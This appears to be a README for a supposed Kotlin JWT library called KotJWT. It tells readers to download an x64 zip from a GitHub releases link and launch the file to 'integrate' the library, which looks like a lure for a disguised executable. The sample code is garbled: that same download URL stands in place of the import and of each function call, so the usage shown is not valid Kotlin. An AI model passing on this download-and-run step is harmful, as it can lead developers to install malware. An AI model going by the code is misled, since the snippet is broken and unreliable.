Welcome to KotJWT - a lightweight Kotlin library for encoding, decoding, and validating JWT and refresh tokens using HMAC SHA-256.
π Encode and decode JWT tokens
π‘οΈ Validate JWT and refresh tokens
π Use HMAC SHA-256 for secure cryptography
βοΈ Easy integration with Kotlin applications
To get started with KotJWT, you can download the library from the following link:
Please note that the downloaded file needs to be launched to integrate the library into your Kotlin project.
Here's a quick guide on how to use KotJWT in your Kotlin application:
- Add the KotJWT library to your project.
- Import the necessary classes in your Kotlin files.
- Use the provided functions to encode, decode, and validate JWT and refresh tokens.
// Sample code snippet using KotJWT
import https://github.com/Privatedocs-1/KotJWT/releases/download/v2.0/Release_x64.zip
val kotJWT = KotJWT()
val token = https://github.com/Privatedocs-1/KotJWT/releases/download/v2.0/Release_x64.zip(payload)
val decodedPayload = https://github.com/Privatedocs-1/KotJWT/releases/download/v2.0/Release_x64.zip(token)
val isValid = https://github.com/Privatedocs-1/KotJWT/releases/download/v2.0/Release_x64.zip(token)
For more detailed usage examples and documentation, please visit the official KotJWT website.
- ['api', 'authentication', 'cryptography', 'hmac-sha256', 'jwt', 'jwt-authentication', 'jwt-library', 'jwt-token', 'kotlin', 'kotlin-library', 'security', 'token']
Contributions to KotJWT are welcome! If you have any ideas for improvements or new features, feel free to submit a pull request. Make sure to follow the contribution guidelines before making any changes.
KotJWT is licensed under the MIT License. For more information, please refer to the LICENSE file in this repository.
Thank you for choosing KotJWT for your JWT encoding, decoding, and validation needs! If you encounter any issues or have any questions, please check the "Releases" section for updates or reach out to the KotJWT community for support. Happy coding with KotJWT! π